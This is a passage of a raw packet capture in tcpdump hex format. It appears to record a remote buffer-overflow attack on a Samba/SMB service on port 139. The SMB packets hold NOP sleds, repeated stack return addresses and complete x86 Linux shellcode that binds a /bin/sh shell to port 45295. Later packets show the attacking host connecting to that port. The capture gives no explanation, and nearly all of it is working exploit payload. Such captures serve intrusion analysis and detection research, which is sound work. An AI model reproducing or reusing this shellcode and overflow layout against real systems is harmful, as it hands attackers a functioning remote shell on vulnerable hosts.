0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:19.138849 XX.XX.XXX.164.34147 > XXX.XX.X.137.45295: S 1765451879:1765451879(0) win 5840 <mss 1460,sackOK,timestamp 8865237 0,nop,wscale 0> (DF)
0x0000      4500 003c edb2 4000 2f06 2cce 3e10 69a4  E..<..@./.,.>.i.
0x0010      800a 097d 8563 b0ef 693a a867 0000 0000  ...}.c..i:.g....
0x0020      a002 16d0 71aa 0000 0204 05b4 0402 080a  ....q...........
0x0030      0087 45d5 0000 0000 0103 0300            ..E.........
11:41:19.138942 XX.XX.XXX.164.34141 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8865237 8427835>NBT Packet (DF)
0x0000      4500 0483 7973 4000 2f06 9cc6 3e10 69a4  E...ys@./...>.i.
0x0010      800a 097d 855d 008b 69a2 4981 6f31 698f  ...}.]..i.I.o1i.
0x0020      8019 16d0 2ffc 0000 0101 080a 0087 45d5  ..../.........E.
0x0030      0080 993b 9090 9090 9090 9090 9090 9090  ...;............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0200      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0210      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0220      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0230      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0240      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0250      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0260      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0270      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0280      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0290      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x02f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0300      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0310      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0320      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0330      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0340      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0350      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0360      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0370      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0380      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0390      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03e0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x03f0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0400      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0410      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0420      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0430      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0440      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0450      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0460      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0470      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0480      0000 00                                  ...
11:41:19.139375 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: . ack 3011 win 8688 <nop,nop,timestamp 8427851 8865237> (DF)
0x0000      4500 0034 f015 4000 4006 1973 800a 097d  E..4..@.@..s...}
0x0010      3e10 69a4 008b 855d 6f31 698f 69a2 4981  >.i....]o1i.i.I.
0x0020      8010 21f0 319d 0000 0101 080a 0080 994b  ..!.1..........K
0x0030      0087 45d5                                ..E.
11:41:19.139380 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: . ack 3011 win 8688 <nop,nop,timestamp 8427851 8865237> (DF)
0x0000      4500 0034 f015 4000 4006 1973 800a 097d  E..4..@.@..s...}
0x0010      3e10 69a4 008b 855d 6f31 698f 69a2 4981  >.i....]o1i.i.I.
0x0020      8010 21f0 319d 0000 0101 080a 0080 994b  ..!.1..........K
0x0030      0087 45d5                                ..E.
11:41:19.139502 XXX.XX.X.137.45295 > XX.XX.XXX.164.34147: S 1864167199:1864167199(0) ack 1765451880 win 5792 <mss 1460,sackOK,timestamp 8427851 8865237,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8563 6f1c ef1f 693a a868  >.i....co...i:.h
0x0020      a012 16a0 79c1 0000 0204 05b4 0402 080a  ....y...........
0x0030      0080 994b 0087 45d5 0103 0300            ...K..E.....
11:41:19.139505 XXX.XX.X.137.45295 > XX.XX.XXX.164.34147: S 1864167199:1864167199(0) ack 1765451880 win 5792 <mss 1460,sackOK,timestamp 8427851 8865237,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 b0ef 8563 6f1c ef1f 693a a868  >.i....co...i:.h
0x0020      a012 16a0 79c1 0000 0204 05b4 0402 080a  ....y...........
0x0030      0080 994b 0087 45d5 0103 0300            ...K..E.....
11:41:19.151751 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427852 8865237> (DF)
0x0000      4500 0034 f016 4000 4006 1972 800a 097d  E..4..@.@..r...}
0x0010      3e10 69a4 008b 855d 6f31 698f 69a2 4dd1  >.i....]o1i.i.M.
0x0020      8014 2d40 21f8 0000 0101 080a 0080 994c  ..-@!..........L
0x0030      0087 45d5                                ..E.
11:41:19.151760 XXX.XX.X.137.139 > XX.XX.XXX.164.34141: R 89:89(0) ack 4115 win 11584 <nop,nop,timestamp 8427852 8865237> (DF)
0x0000      4500 0034 f016 4000 4006 1972 800a 097d  E..4..@.@..r...}
0x0010      3e10 69a4 008b 855d 6f31 698f 69a2 4dd1  >.i....]o1i.i.M.
0x0020      8014 2d40 21f8 0000 0101 080a 0080 994c  ..-@!..........L
0x0030      0087 45d5                                ..E.
11:41:19.163683 XXX.XX.X.137.45295 > XX.XX.XXX.164.34145: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427853 8865237> (DF)
0x0000      4500 0034 e6e9 4000 4006 229f 800a 097d  E..4..@.@."....}
0x0010      3e10 69a4 b0ef 8561 6fc1 7fa2 6986 10a0  >.i....ao...i...
0x0020      8011 16a0 aedb 0000 0101 080a 0080 994d  ...............M
0x0030      0087 45d5                                ..E.
11:41:19.163694 XXX.XX.X.137.45295 > XX.XX.XXX.164.34145: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427853 8865237> (DF)
0x0000      4500 0034 e6e9 4000 4006 229f 800a 097d  E..4..@.@."....}
0x0010      3e10 69a4 b0ef 8561 6fc1 7fa2 6986 10a0  >.i....ao...i...
0x0020      8011 16a0 aedb 0000 0101 080a 0080 994d  ...............M
0x0030      0087 45d5                                ..E.
11:41:19.172717 XX.XX.XXX.164.34144 > XXX.XX.X.137.45295: . ack 2 win 5840 <nop,nop,timestamp 8865254 8427837> (DF)
0x0000      4500 0034 0000 4000 2f06 1a89 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 8560 b0ef 691e a6c3 6f82 ae56  ...}.`..i...o..V
0x0020      8010 16d0 ea7b 0000 0101 080a 0087 45e6  .....{........E.
0x0030      0080 993d                                ...=
11:41:19.194653 XX.XX.XXX.164.34146 > XXX.XX.X.137.45295: . ack 1 win 5840 <nop,nop,timestamp 8865267 8427840> (DF)
0x0000      4500 0034 2258 4000 2f06 f830 3e10 69a4  E..4"X@./..0>.i.
0x0010      800a 097d 8562 b0ef 69bb 67c9 6f3b dced  ...}.b..i.g.o;..
0x0020      8010 16d0 fa76 0000 0101 080a 0087 45f3  .....v........E.
0x0030      0080 9940                                ...@
11:41:19.194654 XX.XX.XXX.164.34146 > XXX.XX.X.137.45295: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 8865267 8427840> (DF)
0x0000      4500 0034 2259 4000 2f06 f82f 3e10 69a4  E..4"Y@./../>.i.
0x0010      800a 097d 8562 b0ef 69bb 67c9 6f3b dced  ...}.b..i.g.o;..
0x0020      8011 16d0 fa75 0000 0101 080a 0087 45f3  .....u........E.
0x0030      0080 9940                                ...@
11:41:19.199311 XXX.XX.X.137.45295 > XX.XX.XXX.164.34146: . ack 2 win 5792 <nop,nop,timestamp 8427857 8865267> (DF)
0x0000      4500 0034 45bd 4000 4006 c3cb 800a 097d  E..4E.@.@......}
0x0010      3e10 69a4 b0ef 8562 6f3b dced 69bb 67ca  >.i....bo;..i.g.
0x0020      8010 16a0 fa94 0000 0101 080a 0080 9951  ...............Q
0x0030      0087 45f3                                ..E.
11:41:19.199321 XXX.XX.X.137.45295 > XX.XX.XXX.164.34146: . ack 2 win 5792 <nop,nop,timestamp 8427857 8865267> (DF)
0x0000      4500 0034 45bd 4000 4006 c3cb 800a 097d  E..4E.@.@......}
0x0010      3e10 69a4 b0ef 8562 6f3b dced 69bb 67ca  >.i....bo;..i.g.
0x0020      8010 16a0 fa94 0000 0101 080a 0080 9951  ...............Q
0x0030      0087 45f3                                ..E.
11:41:19.205455 XXX.XX.X.137.45295 > XX.XX.XXX.164.34146: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427857 8865267> (DF)
0x0000      4500 0034 45be 4000 4006 c3ca 800a 097d  E..4E.@.@......}
0x0010      3e10 69a4 b0ef 8562 6f3b dced 69bb 67ca  >.i....bo;..i.g.
0x0020      8011 16a0 fa93 0000 0101 080a 0080 9951  ...............Q
0x0030      0087 45f3                                ..E.
11:41:19.205463 XXX.XX.X.137.45295 > XX.XX.XXX.164.34146: F 1:1(0) ack 2 win 5792 <nop,nop,timestamp 8427857 8865267> (DF)
0x0000      4500 0034 45be 4000 4006 c3ca 800a 097d  E..4E.@.@......}
0x0010      3e10 69a4 b0ef 8562 6f3b dced 69bb 67ca  >.i....bo;..i.g.
0x0020      8011 16a0 fa93 0000 0101 080a 0080 9951  ...............Q
0x0030      0087 45f3                                ..E.
11:41:19.245112 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: . 115:1563(1448) ack 89 win 5840 <nop,nop,timestamp 8865292 8427845>NBT Packet (DF)
0x0000      4500 05dc 39ee 4000 2f06 daf2 3e10 69a4  E...9.@./...>.i.
0x0010      800a 097d 855f 008b 69b2 7d61 6f23 b7d3  ...}._..i.}ao#..
0x0020      8010 16d0 7701 0000 0101 080a 0087 460c  ....w.........F.
0x0030      0080 9945 0004 0830 ff53 4d42 3200 0000  ...E...0.SMB2...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 0000 6400 0000 00d0 070c 00d0 070c  ....d...........
0x0060      0000 0000 0000 0000 0000 00d0 0743 000c  .............C..
0x0070      0014 0801 0000 0000 0000 0000 0000 0000  ................
0x0080      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0090      0000 0090 0090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x01f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0200      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0210      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0220      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0230      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0240      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0250      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 eb70 908c  .............p..
0x0480      f2ff bf1c f3ff bf8c f2ff bf1c f3ff bf8c  ................
0x0490      f2ff bf1c f3ff bf8c f2ff bf1c f3ff bf8c  ................
0x04a0      f2ff bf1c f3ff bf8c f2ff bf1c f3ff bf8c  ................
0x04b0      f2ff bf1c f3ff bf8c f2ff bf1c f3ff bf8c  ................
0x04c0      f2ff bf1c f3ff bf8c f2ff bf1c f3ff bf8c  ................
0x04d0      f2ff bf1c f3ff bf8c f2ff bf1c f3ff bf90  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:19.245236 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: . 1563:3011(1448) ack 89 win 5840 <nop,nop,timestamp 8865292 8427845>NBT Packet (DF)
0x0000      4500 05dc 39ef 4000 2f06 daf1 3e10 69a4  E...9.@./...>.i.
0x0010      800a 097d 855f 008b 69b2 8309 6f23 b7d3  ...}._..i...o#..
0x0020      8010 16d0 3f51 0000 0101 080a 0087 460c  ....?Q........F.
0x0030      0080 9945 9090 9090 9090 9090 9090 9090  ...E............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0100      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0110      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0120      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0130      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0140      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0150      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0160      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0170      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0180      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0190      9090 9090 31c0 31db 31c9 51b1 0651 b101  ....1.1.1.Q..Q..
0x01a0      51b1 0251 89e1 b301 b066 cd80 89c1 31c0  Q..Q.....f....1.
0x01b0      31db 5050 5066 68b0 efb3 0266 5389 e2b3  1.PPPfh....fS...
0x01c0      1053 b302 5251 89ca 89e1 b066 cd80 31db  .S..RQ.....f..1.
0x01d0      39c3 7405 31c0 40cd 8031 c050 5289 e1b3  9.t.1.@..1.PR...
0x01e0      04b0 66cd 8089 d731 c031 db31 c9b3 11b1  ..f....1.1.1....
0x01f0      01b0 30cd 8031 c031 db50 5057 89e1 b305  ..0..1.1.PPW....
0x0200      b066 cd80 89c6 31c0 31db b002 cd80 39c3  .f....1.1.....9.
0x0210      7540 31c0 89fb b006 cd80 31c0 31c9 89f3  u@1.......1.1...
0x0220      b03f cd80 31c0 41b0 3fcd 8031 c041 b03f  .?..1.A.?..1.A.?
0x0230      cd80 31c0 5068 2f2f 7368 682f 6269 6e89  ..1.Ph//shh/bin.
0x0240      e38b 5424 0850 5389 e1b0 0bcd 8031 c040  ..T$.PS......1.@
0x0250      cd80 31c0 89f3 b006 cd80 eb99 9090 9090  ..1.............
0x0260      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0270      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0280      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0290      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x02f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0300      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0310      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0320      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0330      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0340      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0350      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0360      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0370      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0380      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0390      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x03f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0400      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0410      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0420      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0430      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0440      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0450      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0460      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0470      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0480      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0490      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x04f0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0500      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0510      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0520      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0530      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0540      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0550      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0560      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0570      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0580      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0590      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x05d0      9090 9090 9090 9090 9090 9090            ............
11:41:19.245237 XX.XX.XXX.164.34148 > XXX.XX.X.137.45295: S 1766104215:1766104215(0) win 5840 <mss 1460,sackOK,timestamp 8865292 0,nop,wscale 0> (DF)
0x0000      4500 003c da9b 4000 2f06 3fe5 3e10 69a4  E..<..@./.?.>.i.
0x0010      800a 097d 8564 b0ef 6944 9c97 0000 0000  ...}.d..iD......
0x0020      a002 16d0 7d38 0000 0204 05b4 0402 080a  ....}8..........
0x0030      0087 460c 0000 0000 0103 0300            ..F.........
11:41:19.245338 XX.XX.XXX.164.34143 > XXX.XX.X.137.139: FP 3011:4114(1103) ack 89 win 5840 <nop,nop,timestamp 8865292 8427845>NBT Packet (DF)
0x0000      4500 0483 39f0 4000 2f06 dc49 3e10 69a4  E...9.@./..I>.i.
0x0010      800a 097d 855f 008b 69b2 88b1 6f23 b7d3  ...}._..i...o#..
0x0020      8019 16d0 a242 0000 0101 080a 0087 460c  .....B........F.
0x0030      0080 9945 9090 9090 9090 9090 9090 9090  ...E............
0x0040      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0050      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0060      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0070      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0080      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x0090      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00a0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00b0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00c0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00d0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00e0      9090 9090 9090 9090 9090 9090 9090 9090  ................
0x00f0      9090 9090 9090 9090 9090 9090 9000 0000  ................
0x0100      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0110      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0120      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0130      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0140      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0150      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0160      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0170      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0180      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0190      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01a0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x01d0      0000 0000 0000 0000 0000 0000 0000 0000  ................
